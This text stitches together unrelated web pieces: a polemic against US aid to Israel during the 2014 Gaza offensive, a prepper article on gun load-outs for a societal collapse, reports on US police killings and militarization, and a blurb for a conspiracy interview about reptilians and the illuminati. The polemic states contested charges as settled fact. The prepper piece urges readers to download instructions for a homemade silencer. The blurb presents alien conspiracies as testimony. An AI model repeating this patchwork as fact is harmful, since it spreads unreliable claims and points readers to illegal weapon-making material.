Palestinians are brutalized, repressed and impoverished by Israel. To get a quick visual understanding of the difference between Gaza and Israel, take a look at the images of people and cities being wantonly pummeled by Israeli terrorism when you search the word “Gaza“, and the images of opulence, wealth and luxury that come up when you search “Tel Aviv“.
Israel, whose government intentionally targets, tortures, and murders civilians, including children, including with chemical weapons, and whose government uses Palestinian civilians as human shields, and whose government is the last entity on Earth carrying out old-style ethnic cleansing and colonization of foreign countries, is the single biggest recipient of US aid, at over three billion dollars a year and huge amounts of lethal weaponry such as attack helicopters and white phosphorous chemical explosives.
To reiterate, Obama requested more military aid for Israel than any president ever. This is not because Obama and the USA love Jewish people. Obama was recently an accomplice in a literal neo-Nazi-led coup d’etat in Ukraine, and is currently fully supporting the junta-integrated Ukrainian government, which is staffed with several neo-Nazis in high ministries, and which uses neo-Nazi paramilitaries to carry out massacres (and possibly genocide) against people resistant to the junta. The actual reason the US supports Israel is discussed below.
As Amnesty International has noted, all aid to Israel is illegal under international (and US) law, because Israel is a consistent violator of human rights.
Amnesty International also noted that Israel’s 2009 massacre of Gaza would not have been possible without the illegal funding (money and weapons) and support Israel gets from the USA.
This is also true of the current massacre Israel is committing in Gaza.
However, in a way, that is good news.
That means US citizens can STOP the massacres.
MSM Refuses to Cover Anti-Israel War Crime Protests
If we stop our money and weapons-flow to Israel, which is illegal anyway, we stop Israeli terrorism! All we have to do is stop committing a crime, and we will stop more crimes! That’s great news.
Here is a previous example of how this has worked: When the USA cut its funding for Indonesia’s genocide against East Timor, which the USA was funding almost exclusively, Indonesia was forced to stop and withdraw. All it took was cutting off our illegal flow of money and weapons to the criminals.
The same thing would happen if we cut our illegal funding for Israel’s genocides and acts of terrorism, ethnic cleansing, colonization, and annexation against Palestine.
But since the USA is an anti-democratic country, the only way to stop US plutocrats from using our money to fund Israeli terrorism is to force it through massive, non-violent pressure.
One way it happens is when it becomes too politically costly for the plutocracy to keep funding genocide and terror, meaning the costs of their illegal support outweigh the benefits, as in Indonesia. In that case, massive publicity and indigenous resistance accomplished the goal.
But Israel is the USA’s main imperial – and nuclear – base for controlling the Middle East, which US planners, in 1945, called the greatest material prize in world history, due to the oil and gas. Thus, it might require more, as in non-violently making our country into a democracy so that people control their own institutions and money, and thus the way we operate as a society and interact with the world.
Last note: To be clear, Israel is a legal state, but only within the borders allotted to it by the United Nations – the Pre-1967 borders, which existed before Israel started eating away, through terror, ethnic cleansing, colonization, and annexation, at the areas reserved by the United Nations for Palestinians, as well as areas of other countries, such as Syria (the Golan Heights).
Per international law, US domestic law, and common sense, Israel doesn’t deserve any support until it abandons isolationism and accepts that it can’t steal other people’s countries, and stops blockading and withdraws its soldiers and settlers, all there illegally, from those countries.
Israel is, militarily, the most powerful country in the Middle East, by far. Removing our support for the Israeli government (which we are legally required to do) will not put Israelis in danger. It will pressure the Israeli government to stop doing what endangers Israelis, which is committing aggressive acts against Israel’s neighbors.
If Israel ends its status as a consistent violator of human rights, decolonizes Palestine, and respects its neighbors, it could be a pleasure – and legal – to work with and support Israel.
Germany, Japan, and South Africa went from being the most reviled countries on Earth to being some of the most admired. Maybe Israel could undergo the same transformation, but not unless we, US citizens, help by ceasing to enable Israeli terrorism and war crimes by illegally supporting them.
Today Israel carried out aerial strikes in Gaza targeting a mosque it claims was hosting rockets, a disabled care center and a geriatric urgent care hospital, where international volunteers have since rushed to shield patients.
In the deadliest strike yet, the home of Gaza’s police chief was also bombed, killing 18 members of his family.
These horrors are just the latest examples of death and destruction being wreaked amidst Israel’s five day long bombing campaign dubbed ‘Operation Protective Edge’.
Since the beginning of the offensive, at least 150 Palestinians have been killed and over 1,000 more injured. Thousands of homes have been utterly destroyed. No Israelis have yet died from a Hamas launched rocket.
Yet despite the disproportionality of the brutality, the establishment media continues to distort the truth by painting Hamas as the sole aggressor.
From FOX‘s ‘Gaza Rockets Aimed at Israel: What Would you Do with Just 15 Seconds?’ to liberal alt-news site VOX‘s ‘The Tragedy Never Ends, Palestinian Rockets Force Israeli Peace Conference to Evacuate’ to even Human Rights Watch, a human rights organization that is supposed to be unbiased in its criticism of atrocities, which leads with ‘Indiscriminate Palestinian Rocket Attacks’.
But perhaps most disturbing is the initial headline crafted by The New York Timesdescribing an Israeli missile bombing a cafe in Gaza packed with Palestinians watching the World Cup:
Missile at Beachside Gaza Cafe Finds Patrons Poised for World Cup http://t.co/t1N3tag2rf
As journalist Rania Khalek explains in an article dissecting the egregious error:
“Sawyers bald misreporting reflects either a deliberate lie by ABC news or willful ignorance so severe that Palestinian death and misery is invisible even when it’s staring ABC producers right in the face.”
The Western media routinely devalues Palestinian lives, and the dead bodies that stack up every time Israel goes on the offense remain an inconvenient truth for its narrative.
What Israel is actually doing in Gaza – MURDER
Another common misconception thanks to the media’s false depiction of Palestine is that Hamas is a rogue terrorist group, when in reality it is the democratically elected leadership of Gaza. When the IDF claims it only targets Hamas, it could mean any building affiliated with the government or social services provided to Palestinians.
As Noam Chomsky said, this isn’t war, it’s murder:
“When Israelis in the occupied territories now claim that they have to defend themselves, they are defending themselves in the sense that any military occupier has to defend itself against the population they are crushing.”
According to the White House, Israeli Prime Minister Netanyahu is acting ‘responsible’ in his defense of the rocket attacks. Yet the collective punishment of over a million people living in an open-air prison hardly seems as such.
I made a statement recently addressing Israel’s irresponsible barbarism:
Why Doesn’t the Media Care About Dead Palestinians?
Since posting this video, I have been overwhelmed at the feedback and support from thousands of Palestinians around the world. It’s already been featured on one of Turkey’s most popular news websites En Son Haber, Indonesian newspaper Liputan, translated in French on DailyMotion, posted on Arabic newspaper Alwatan Voice and has gone viral on Palestinian TV station Raya FM.
I strongly denounce deadly force on both sides, but it’s important to not frame this as a cycle of violence. One is the colonizer oppressor, the other the colonized oppressed. As IDF General’s son Miko Peled said, Palestinians living in occupied territories have two choices: the completely surrender, or resist – and resistance is what we’re seeing now.
**
Don’t miss Max Blumenthal talking about how the Israeli government hid information on the three murdered teens’ deaths in order to incite violence, racial tensions and justify a military rampage.
Why Gaza is Burning: What the Corporate Media Isn’t Telling You
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IDF General’s son Miko Peled talks about the latest siege on Gaza and why Israel should decolonize Palestine and end the apartheid regime if it doesn’t like getting shot at with rockets.
IDF General’s Son: If Israel Doesn’t Like Rockets, Decolonize Palestine
**
Earlier this year, Secretary of State John Kerry came under fire for saying that Israel could turn into an apartheid state if reforms aren’t made. I outline five reason why it already is one.
5 Reasons Why Israel is an Apartheid State
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When Israel launched its 2012 military offensive dubbed ‘Operation Pillar of Defense’, the IDF knowingly bombed a journalist tower in Gaza that housed RT among other foreign news networks. I responded to the war crime on Breaking the Set.
Many Americans think the clock starts with Hamas rockets every time Israel carries out a military operation, without realizing the history of the occupation and roots of the conflict. Here’s a brief breakdown.
We’ve all been part of these discussions, and we’ve all read a ton of them on forums and blogs over the years: “if you could have only one gun for TEOTWAWKI, what would it be?” A more enlightened-seeming variant on this same theme are discussions that start with, “if you could pick only three guns for TSHTF…”
Here’s what’s wrong with so many of these discussions: no matter what flavor of civilization-ending apocalypse you contemplate — meteor strike, supervolcano, global pandemic , EMP blast, etc. — a SHTF scenario is likely to play out in phases, and for each phase you’re going to need a different skill set and a different load-out — not just a gun, but a complement of tools and skills.
Below is my brief attempt to sketch out the three phases that society would go through in a total collapse, and to think about some load-out options for each. Sure, you could read this and then pick three guns — one gun per phase — but by the end you’ll see that this attitude is putting the cart before the horse. The smarter thing to do is to put together a set of load-outs that will give you multiple options for dealing with each phase. You may still end up with three guns, but the point is that “which three guns… ” is not the question that you start with. Instead, the right question is “what mix of weapons and accessories are the best fit for each of the scenarios I’m envisioning?”
Phase 1: martial law and trigger-happy authorities
In the initial phase of a catastrophe, a phase that admittedly may last only a day or two depending on the swiftness and severity of the cataclysm, there will be some attempt by authorities to maintain law and order. During this phase, if you’re walking around with an AR or AK strapped to your back, you’re likely to be taken for a looter and shot on sight.
This is the red dot or reflex sight + polymer frame pistol phase. Mobile, concealable, accurate, quiet, and 100% reliable are what you’re looking for. Don’t worry about how long the batteries will last in your Aimpoint right now — you just have to get through this phase without getting arrested or shot.
If you think you’re going to get through this phase with a bow or a crossbow, then all I can say is that I’ll be glad to use your bow in phase 3 when I stumble across your corpse clutching it.
My personal fantasy load-out for this phase would be a suppressed Glock 17 paired with something like the Daniel Defense ISR-300 (a short-barreled rifle chambered in .300 Blackout with an integrally attached suppressor).
Why the focus on stealth? Because if you do have to shoot someone or something during this phase, there’s a good chance that you may not want the whole neighborhood to know that shots were fired at your house. The authorities will be dealing with mass chaos and won’t have time to sort out who shot first, so if they show up at your house and you’re armed to the teeth and standing over a pile of corpses, then it may not go well for you. So a suppressed short-barreled rifle is your best bet for home defense here, because at least you have the option of not involving an organized gang of heavily armed, yet frightened and confused people (i.e. the police or whoever is trying to maintain order) who may decide that you’re a threat.
Note that now is the time for you to either start your NFA paperwork, or obtain the theoretical know-how to build a homemade can. I’m not saying go out and build a silencer, because that’s illegal. But maybe download the info and print it out, and store it as part of your bug-out gear. Do not under any circumstances attempt to actually make a homemade silencer, though, because that’s a felony. You do it, you get caught, you go to jail — end of story. I’m not winking or smiling here — do not do it, and in fact don’t even gather the materials for it because you don’t want to be guilty of constructive possession of such a thing.
Experienced pistol shooters (which does not describe me) will no doubt be fine skipping the CQB personal defense weapon (PDW) and using a suppressed semi-auto pistol for this phase. This is great, because as I mentioned above, you’ll need a pistol anyway.
So get your phase 1 load-out together, and learn to shoot and move with it. And for God’s sake just pick the best tools for the immediate job at hand, without worrying about whether or not the batteries will last another 20 years. You’ll need every technological advantage, no matter how fragile and/or short-lived that technology may seem, to fight your way through this temporary phase. If you can afford some good night-vision equipment, then by all means add it to your phase 1 load-out, and quit worrying about whether your grandchildren will still be able to use it to defend the homestead.
Phase 2: lawlessness and die-off
This is the open-carry assault rifle phase. Very few people are going to make it past this phase, but if you do, it’s because you have reliable long gun, plenty of ammo, a good optic, some training, and a few capable allies at your side.
The people who have survived phase 1 are not going to be happy campers. They’ll be hungry, justifiably terrified, and aggressive. They’ll also be gathered together in groups and gangs, which is exactly how you should plan to roll during this phase. More allies with guns means a better chance for you and yours to survive, which is why the training that you do for this phase should involve learning to shoot and move as part of a group.
You’ll want carbine and shotgun options — the pistol that got you through phase 1 will probably become a rarely used backup weapon, and your long guns will become your primary weapons. My personal pick for phase 2 is an AR-15 with a Trijicon ACOG, but that’s because I know the AR platform pretty well. Others will choose the AK. There’s also the Tavor, SCAR, and numerous other options. I won’t wade into this debate, because this is what most people are thinking of when they post “what gun and optic should I get for SHTF?” in various forums.
Phase 3: long-term survival
At some point your optics will run out of batteries, and depending on your stockpiles you may run out of ammo even before then. When this happens, it’s all about trapping and snares, fishing, farming, and finding ways to harvest a few thousand calories per day per family member.
Note that taking wild game of any kind is difficult, and it involves a lifetime of practice. Depending on the terrain you’re in and your skill set, hunting for food will range from very difficult to downright impossible. Farming is an order of magnitude easier and more predictable, so if you really want to be prepared then you should learn to grow your own food.
Of course, you will still do some shooting — this is the phase where you get to bust out that double-barreled shotgun with the multi-caliber barrel inserts, and go scavenging for ammo. If that shotgun was your phase 1 weapon, then you probably didn’t make it this far, but it will make a fine phase 3 hunting and home/farm defense gun.
This is the phase where a lot of people plan to rely on archery to take game. Please. Bowhunting is hard. Trapping isn’t a cakewalk, but it’s a vastly easier and more reliable way to get protein that stalking around in the woods with a bow; it also relies far less on expensive consumables (i.e arrowheads and strings) that you’d need to stockpile.
I personally think that .once-again-cheap 22LR ammo is the best thing to stock up on for this phase, and judging by the recent shortage, plenty of people agree with me.
Conclusion
Many of you will disagree with some, or even all, of my recommendations. But I hope if you take away anything from this article, it’s the idea that any catastrophe will unfold in series of distinct phases or stages, and you’ll need to prepare for each one. The tools and skills that will get you through the initial phase won’t necessarily be the best suited for the next phase, and so on. So the answer is to have specialized load-outs for different types of situations. You want to have options, so that you can improvise, adapt, and overcome. Don’t think in terms of “one gun” or “three guns” — think in terms of scenarios and loadouts.
This is actually how US Special Forces operate. They have different load-outs that fit different mission profiles; sometimes this involves selecting different weapons and tools, and sometimes it involves reconfiguring the same weapon or tool. But the main thing is that they have options, and they adapt their load-out to fit their situation.
What types of scenarios do you imagine that you’ll face in a catastrophe, and what type of load-out (gun, optic, ammo, clothing, tools) would be the best fit for each scenario? Don’t get sucked into the game of trying to put together one single loadout that will fit every scenario, because I promise you, when you’re watching the chaos unfold and you’re wetting your pants, you’re going to wish dearly that you hadn’t tied yourself to a one-size-fits-all, jack-of-all-trades-master-of-none solution. You’re going to want to reach for the very best tool for the job that is immediately staring you in the face, and you won’t be happy if you’re stuck with the second- or third-best tool for wide a range of jobs that you may or may not encounter.
Statistically speaking, Americans should be more fearful of the local cops than “terrorists.”
Though Americans commonly believe law enforcement’s role in society is to protect them and ensure peace and stability within the community, the sad reality is that police departments are often more focused on enforcing laws, making arrests and issuing citations. As a result of this as well as an increase in militarized policing techniques, Americans are eight times more likely to be killed by a police officer than by a terrorist, estimates a Washington’s Blog report based on official statistical data.
Though the U.S. government does not have a database collecting information about the total number of police involved shootings each year, it’s estimated that between 500 and 1,000 Americans are killed by police officers each year. Since 9/11, about 5,000 Americans have been killed by U.S. police officers, which is almost equivalent to the number of U.S. soldiers who have been killed in the line of duty in Iraq.
Because individual police departments are not required to submit information regarding the use of deadly force by its officers, some bloggers have taken it upon themselves to aggregate that data. Wikipedia also has a list of “justifiable homicides” in the U.S., which was created by documenting publicized deaths.
Mike Prysner, one of the local directors of the Los Angeles chapter for ANSWER — an advocacy group that asks the public to Act Now to Stop War and End Racism — told Mint Press Newsearlier this year that the “epidemic” of police harassment and violence is a nationwide issue.
He said groups like ANSWER are trying to hold officers accountable for abuse of power. “[Police brutality] has been an issue for a very long time,” Prysner said, explaining that in May, 13 people were killed in Southern California by police.
As Mint Press News previously reported, each year there are thousands of claims of police misconduct. According to the CATO Institute’s National Police Misconduct Reporting Project, in 2010 there were 4,861 unique reports of police misconduct involving 6,613 sworn officers and 6,826 alleged victims.
Most of those allegations of police brutality involved officers who punched or hit victims with batons, but about one-quarter of the reported cases involved firearms or stun guns.
Racist policing
A big element in the police killings, Prysner says, is racism. “A big majority of those killed are Latinos and Black people,” while the police officers are mostly White, he said. “It’s a badge of honor to shoot gang members so [the police] go out and shoot people who look like gang members,” Prysner argued, giving the example of 34-year-old Rigoberto Arceo, who was killed by police on May 11.
According to a report from the Los Angeles Times, Arceo, who was a biomedical technician at St. Francis Medical Center, was shot and killed after getting out of his sister’s van. The Los Angeles County Sheriff’s Department says Arceo “advanced on the deputy and attempted to take the deputy’s gun.” However, Arceo’s sister and 53-year-old Armando Garcia — who was barbecuing in his yard when the incident happened — say that Arceo had his hands above his head the entire time.
Prysner is not alone in his assertion that race is a major factor in officer-related violence. This past May, astudy from the the Malcolm X Grassroots Movement, an anti-racist activist organization, found that police officers, security guards or self-appointed vigilantes killed at least 313 Black people in 2012 — meaning one Black person was killed in the U.S. by law enforcement roughly every 28 hours.
Prysner said the relationship between police departments and community members needs to change and that when police shoot an unarmed person with their arms in the air over their head, the officer should be punished.
Culture of misconduct
“You cannot have a police force that is investigating and punishing itself,” Prysner said, adding that taxpayer money should be invested into the community instead of given to police to buy more guns, assault rifles and body armor.
Dissatisfied with police departments’ internal review policies, some citizens have formed volunteer police watch groups to prevent the so-called “Blue Code of Silence” effect and encourage police officers to speak out against misconduct occurring within their department.
As Mint Press News previously reported, a report released earlier this year found that of the 439 cases of police misconduct that then had been brought before the Minneapolis’s year-old misconduct review board, not one of the police officers involved has been disciplined.
Although the city of Minneapolis spent $14 million in payouts for alleged police misconduct between 2006 and 2012, despite the fact that the Minneapolis Police Department often concluded that the officers involved in those cases did nothing wrong.
Other departments have begun banning equipment such as Tasers, but those decisions were likely more about protecting the individual departments from lawsuits than ensuring that officers are not equipped with weapons that cause serious and sometimes fatal injuries when used.
To ensure officers are properly educated on how to use their weapons and are aware of police ethics, conflict resolution and varying cultures within a community, police departments have historically heldtraining programs for all officers. But due to tighter budgets and a shift in priorities, many departments have not provided the proper continuing education training programs for their officers.
Charles Ramsey, president of both the Major Cities Chiefs Association and the Police Executive Research Forum, called that a big mistake, explaining that it is essential officers are trained and prepared for high-stress situations:
“Not everybody is going to be able to make those kinds of good decisions under pressure, but I do think that the more reality-based training that we provide, the more we put people in stressful situations to make them respond and make them react.”
GI Joe replaces Carl Winslow
In order to help local police officers protect themselves while fighting the largely unsuccessful War on Drugs, the federal government passed legislation in 1994 allowing the Pentagon to donate surplus military equipment from the Cold War to local police departments. Meaning that “weaponry designed for use on a foreign battlefield has been handed over for use on American streets … against American citizens.”
So while the U.S. military fights the War on Terror abroad, local police departments are fighting another war at home with some of the same equipment as U.S. troops, and protocol that largely favors officers in such tactics as no-knock raids.
Radley Balko, author of “Rise of the Warrior Cop,” wrote in the Wall Street Journal in August:
“Since the 1960s, in response to a range of perceived threats, law-enforcement agencies across the U.S., at every level of government, have been blurring the line between police officer and soldier.
“Driven by martial rhetoric and the availability of military-style equipment—from bayonets and M-16 rifles to armored personnel carriers—American police forces have often adopted a mind-set previously reserved for the battlefield. The war on drugs and, more recently, post-9/11 antiterrorism efforts have created a new figure on the U.S. scene: the warrior cop—armed to the teeth, ready to deal harshly with targeted wrongdoers, and a growing threat to familiar American liberties.”
As Mint Press News previously reported, statistics from an FBI report released in September reveal that a person is arrested on marijuana-related charges in the U.S. every 48 seconds, on average — most were for simple possession charges.
According to the FBI’s report, there were more arrests for marijuana possession than for the violent crimes of murder and nonnegligent manslaughter, forcible rape, robbery and aggravated assault — 658,231 compared with 521,196 arrests.
While groups that advocate against police brutality recognize and believe that law enforcement officials should be protected while on duty, many say that local police officers do not need to wear body armor, Kevlar helmets and tactical equipment vests — all while carrying assault weapons.
“We want the police to keep up with the latest technology. That’s critical,” American Civil Liberties Union senior counsel Kara Dansky said. “But policing should be about protection, not combat.”
According to the National Law Enforcement Officers Memorial Fund, there are more than 900,000 sworn law enforcement officers in the United States. In 2012, 120 officers were killed in the line of duty. The deadliest day in law enforcement history was reportedly Sept. 11, 2001, when 72 officers were killed.
Despite far fewer officers dying in the line of duty compared with American citizens, police departments are not only increasing their use of protective and highly volatile gear, but are increasingly setting aside a portion of their budget to invest in new technology such as drones, night vision goggles, remote robots, surveillance cameras, license plate readers and armored vehicles that amount to unarmed tanks.
Though some officers are on board with the increased militarization and attend conferences such as the annual Urban Shield event, others have expressed concern with the direction the profession is heading.
For example, former Arizona police officer Jon W. McBride said police concerns about being “outgunned” were likely a “self-fulfilling prophecy.” He added that “if not expressly prohibited, police managers will continually push the arms race,” because “their professional literature is predominately [sic] based on the acquiring and use of newer weapons and more aggressive techniques to physically overwhelm the public. In many cases, however, this is the opposite of smart policing.”
“Coupled with the paramilitary design of the police bureaucracy itself, the police give in to what is already a serious problem in the ranks: the belief that the increasing use of power against a citizen is always justified no matter the violation. The police don’t understand that in many instances they are the cause of the escalation and bear more responsibility during an adverse outcome.
“The suspects I encountered as a former police officer and federal agent in nearly all cases granted permission for me to search their property when asked, often despite unconcealed contraband. Now, instead of making a simple request of a violator, many in law enforcement seem to take a more difficult and confrontational path, fearing personal risk. In many circumstances they inflame the citizens they are engaging, thereby needlessly putting themselves in real and increased jeopardy.”
Another former police officer who wished to remain anonymous agreed with McBride and told Balko,
“American policing really needs to return to a more traditional role of cops keeping the peace; getting out of police cars, talking to people, and not being prone to overreaction with the use of firearms, tasers, or pepper spray. … Don’t get me wrong, I’ve been in more than my share tussles and certainly appreciate the dangers of police work, but as Joseph Wambaugh famously said, the real danger is psychological, not physical.”
Release Us – a short film on police brutality by Charles Shaw
The militarization of police is harming civil liberties, impacting children, and transforming neighborhoods into war zones.
The “war on terror” has come home–and it’s wreaking havoc on innocent American lives. The culprit is the militarization of the police.
The weapons used in the “war on terror” that destroyed Afghanistan and Iraq have made their way to local law enforcement. While police forces across the country began a process of militarization complete with SWAT teams and flash-bang grenades when President Reagan intensified the “war on drugs,” the post-9/11 “war on terror” has added fuel to the fire.
Through laws and regulations like a provision in defense budgets that authorize the Pentagon to transfer surplus military gear to police forces, local law enforcement are using weapons found on the battlefields of South Asia and the Middle East.
A recent New York Times article by Matt Apuzzoreported that in the Obama era, “police departments have received tens of thousands of machine guns; nearly 200,000 ammunition magazines; thousands of pieces of camouflage and night-vision equipment; and hundreds of silencers, armored cars and aircraft.” The result is that police agencies around the nation possess military-grade equipment, turning officers who are supposed to fight crime and protect communities into what look like invading forces from an army. And military-style police raids have increased in recent years, with one count putting the number at 80,000 such raids last year.
In June, the American Civil Liberties Union (ACLU) brought more attention to police militarization when it issued a comprehensive, nearly 100-page (appendix and endnotes included) report titled, “War Comes Home: The Excessive Militarization of American Policing.” Based on public records requests to more than 260 law enforcement agencies in 26 states, the ACLU concluded that “American policing has become excessively militarized through the use of weapons and tactics designed for the battlefield” and that this militarization “unfairly impacts people of color and undermines individual liberties, and it has been allowed to happen in the absence of any meaningful public discussion.”
The information contained in the ACLU report, and in other investigations into the phenomenon, is sobering. From the killing of innocent people to the lack of debate on the issue, police militarization has turned into a key issue for Americans. It is harming civil liberties, ramping up the “war on drugs,” impacting the most marginalized members of society and transforming neighborhoods into war zones. Here are 11 important–and horrifying–things you should know about the militarization of police.
1. It harms, and sometimes kills, innocent people. When you have heavily armed police officers using flash-bang grenades and armored personnel carriers, innocent people are bound to be hurt. The likelihood of people being killed is raised by the practice of SWAT teams busting down doors with no warning, which leads some people to think it may be a burglary, who could in turn try to defend themselves. The ACLU documented seven cases of civilians dying, and 46 people being injured. That’s only in the cases the civil liberties group looked at, so the number is actually higher.
Take the case of Tarika Wilson, which the ACLU summarizes. The 26-year-old biracial mother lived in Lima, Ohio. Her boyfriend, Anthony Terry, was wanted by the police on suspicion of drug dealing. So on January 4, 2008, a SWAT team busted down Wilson’s door and opened fire. A SWAT officer killed Wilson and injured her one-year-old baby, Sincere Wilson. The killing sparked rage in Lima and accusations of a racist police department, but the officer who shot Wilson, Sgt. Joe Chavalia, was found not guilty on all charges.
2. Children are impacted. As the case of Wilson shows, the police busting down doors care little about whether there’s a child in the home. Another case profiled by the ACLU shows how children are caught up the crossfire–with devastating consequences.
In May, after their Wisconsin home had burned down, the Phonesavanh family was staying with relatives in Georgia. One night, a SWAT team with assault rifles invaded the home and threw a flashbang grenade–despite the presence of kids’ toys in the front yard. The police were looking for the father’s nephew on drug charges. He wasn’t there. But a 19-month-old named Bou Bou was–and the grenade landed in his crib.
Bou Bou was wounded in the chest and had third-degree burns. He was put in a medically induced coma.
Another high-profile instance of a child being killed by paramilitary police tactics occurred in 2010, when seven-year-old Aiyana Stanley-Jones was killed in Detroit. The city’s Special Response Team (Detroit’s SWAT) was looking for Chauncey Owens, a suspect in the killing of a teenager who lived on the second floor of the apartment Jones lived in.
Officers raided the home, threw a flash-bang grenade, and fired one shot that struck Jones in the head. The police agent who fired the fatal shot, Joseph Weekley, has so far gotten off easy: a jury trial ended in deadlock last year, though he will face charges of involuntary manslaughter in September. As The Nation’s Mychal Denzel Smith wrote last year after Weekley was acquitted: “What happened to Aiyana is the result of the militarization of police in this country…Part of what it means to be black in America now is watching your neighborhood become the training ground for our increasingly militarized police units.”
Bou Bou and Jones aren’t the only case of children being impacted.
According to the ACLU, “of the 818 deployments studied, 14 percent involved the presence of children and 13 percent did not.”
3. The use of SWAT teams is unnecessary. In many cases, using militarized teams of police is not needed. The ACLU report notes that the vast majority of cases where SWAT teams are deployed are in situations where a search warrant is being executed to just look for drugs. In other words, it’s not even 100% clear whether there are drugs at the place the police are going to. These situations are not why SWAT was created.
Furthermore, even when SWAT teams think there are weapons, they are often wrong. The ACLU report shows that in the cases where police thought weapons would be there, they were right only a third of the time.
4. The “war on terror” is fueling militarization. It was the “war on drugs” that introduced militarized policing to the U.S. But the “war on terror” has accelerated it.
A growing number of agencies have taken advantage of the Department of Defense’s “1033” program, which is passed every year as part of the National Defense Authorization Act, the budget for the Pentagon. The number of police agencies obtaining military equipment like mine-resistant ambush protected (MRAP) vehicles has increased since 2009,according to USA Today, which notes that this “surplus military equipment” is “left over from U.S. military campaigns in Iraq, Afghanistan and elsewhere.” This equipment is largely cost-free for the police agencies who receive them.
In addition to the Pentagon budget provision, another agency created in the aftermath of 9/11 is helping militarize the police. The Department of Homeland Security’s (DHS) own grants funnel military-style equipment to local police departments nationwide. According to a 2011 Center for Investigative Reporting story published by The Daily Beast, at least $34 billion in DHS grants have gone to police agencies to buy military-style equipment. This money has gone to purchase drones, tactical vests, bomb-disarming robots, tanks and more.
5. It’s a boon to contractor profits. The trend towards police militarization has given military contractors another lucrative market where they can shop their products. Companies like Lockheed Martin and Blackhawk Industries are making big bucks by selling their equipment to agencies flush with Department of Homeland Security grants.
In addition to the actual selling of equipment, contractors also sponsor training events for SWAT teams, like Urban Shield, a major arms expo that has attracted increasing attention from activists in recent years. SWAT teams, police agencies and military contractors converge on Urban Shield, which was held in California last year, to train and to promote equipment to buy.
6. Border militarization and police militarization go hand in hand. The “war on terror” and “war on drugs” aren’t the only wars helping police militarization. There’s also the war on undocumented immigrants.
The notorious Sheriff Joe Arpaio, infamous for brutal crackdowns on undocumented immigrants, is the paradigmatic example of this trend. According to the ACLU, Arpaio’s Maricopa County department has acquired a machine gun so powerful it could tear through buildings on multiple city blocks. In addition, he has 120 assault rifles, five armored vehicles and ten helicopters. Other law enforcement agencies in Arizona have obtained equipment like bomb suits and night-vision goggles.
Then there’s a non-local law enforcement agency on the border: the Border Patrol, which has obtained drones and attack helicopters. And Border Patrol agents are acting like they’re at war. A recent Los Angeles Times investigation revealedthat law enforcement experts had found that that the Border Patrol has killed 19 people from January 2010-October 2012, including some of whom when the agents were under no lethal, direct threat.
7. Police are cracking down on dissent. In 1999, massive protests rocked Seattle during the World Trade Organization meeting. The police cracked down hard on the demonstrators using paramilitary tactics. Police fired tear gas at protesters, causing all hell to break loose.
Norm Stamper, the Seattle police chief at the time, criticized the militarized policing he presided over in a Nation article in 2011. “Rocks, bottles and newspaper racks went flying. Windows were smashed, stores were looted, fires lighted; and more gas filled the streets, with some cops clearly overreacting, escalating and prolonging the conflict,” wrote Stamper.
More than a decade after the Seattle protests, militarized policing to crack down on dissent returned with a vengeance during the wave of Occupy protests in 2011. Tear gas and rubber bullets were used to break up protests in Oakland.Scott Olsen, an Occupy Oakland protester and war veteran, was struck in the head by a police projectile, causing a fractured skull, broken neck vertebrae and brain swelling.
8. Asset forfeitures are funding police militarization. In June, AlterNet’s Aaron Cantuoutlined how civil asset forfeiture laws work.
“It’s a legal fiction spun up hundreds of years ago to give the state the power to convict a person’s property of a crime, or at least, implicate its involvement in the committing of a crime. When that happened, the property was to be legally seized by the state,” wrote Cantu. He went on to explain that law enforcement justifies the seizing of property and cash as a way to break up narcotics rings’ infrastructure. But it can also be used in cases where a person is not convicted, or even charged with, a crime.
Asset forfeitures bring in millions of dollars for police agencies, who then spend the money for their own uses. And for some police departments, it goes to militarizing their police force.
New Yorker reporter Sarah Stillman, who penned a deeply reported piece on asset forfeitures,wrote in August 2013 that“thousands of police departments nationwide have recently acquired stun grenades, armored tanks, counterattack vehicles, and other paramilitary equipment, much of it purchased with asset-forfeiture funds.” So SWAT teams have an incentive to conduct raids where they seize property and cash. That money can then go into their budgets for more weapons.
9. Dubious informants are used for raids. As the New Yorker’s Stillman wrote in another piece,informants are “the foot soldiers in the government’s war on drugs. By some estimates, up to eighty per cent of all drug cases in America involve them.” Given SWAT teams’ focus on finding drugs, it’s no surprise that informants are used to gather information that lead to military-style police raids.
A 2006 policy paper by investigative journalist Radley Balko, who has done the most reporting on militarized policing, highlighted the negative impact using informants for these raids have. Most often, informants are “people who regularly seek out drug users and dealers and tip off the police in exchange for cash rewards” and other drug dealers, who inform to gain leniency or cash from the police. But these informants are quite unreliable–and the wrong information can lead to tragic consequences.
10. There’s been little debate and oversight. Despite the galloping march towards militarization, there is little public debate or oversight of the trend. The ACLU report notes that “there does not appear to be much, if any, local oversight of law enforcement agency receipt of equipment transfers.” One of the group’s recommendations to change that is for states and local municipalities to enact laws encouraging transparency and oversight of SWAT teams.
11. Communities of color bear the brunt. Across the country, communities of color are the people most targeted by police practices. In recent years, the abuse of “stop and frisk” tactics has attracted widespread attention because of the racially discriminatory way it has been applied.
Militarized policing has also targeted communities of color. According to the ACLU report, “of all the incidents studied where the number and race of the people impacted were known, 39 percent were Black, 11 percent were Latino, 20 were white.” The majority of raids that targeted blacks and Latinos were related to drugs–another metric exposing how the “war on drugs” is racist to the core.
Conspiracy fact and witnesses to the dark side of aliens, reptilians, illuminati and personal links to the pleiadians are all discussed with Kerry Cassidy of Project Camelot. We discuss the silver star, illuminati, and many of the connections between the higher orders of influence and both light and darkness. The vatican connections to illuminati, chakra work, and whistleblowers alike are examined with the veteran interviewer in the uncensored talk with Sean Stone for Buzzsaw.
GUEST BIO:
Kerry Lynn Cassidy is the CEO and co-Founder of Project Camelot. Kerry has a BA in English with graduate work in Sociology, an MBA certificate from the UCLA Anderson Graduate School of Management, and was competitively selected to attend a year of film school at the UCLA Extension Short Fiction Film Program as one of their first “hyphenates”: a writer-director-producer.
Kerry conducts interviews documenting the testimony of whistleblowers with above top secret clearances as well as researchers and experiencers covering all aspects of reality both on and off planet. She speaks at conferences around the world on the subjects of ETs, the Illuminati agenda, mind control, the matrix, prophecies, Kundalini activation and more. Kerry is an intuitive and spent years researching the occult and studying Eastern philosophy. While spending dedicated time in meditation, she linked her chakras in her 20s and has had multiple samadhi experiences since then.
Kerry Cassidy is also a well known radio talk show host, hosts events and speaks around the world. She writes groundbreaking articles and commentary on current events from a Big Picture standpoint involving black projects, secret space and conspiracies.
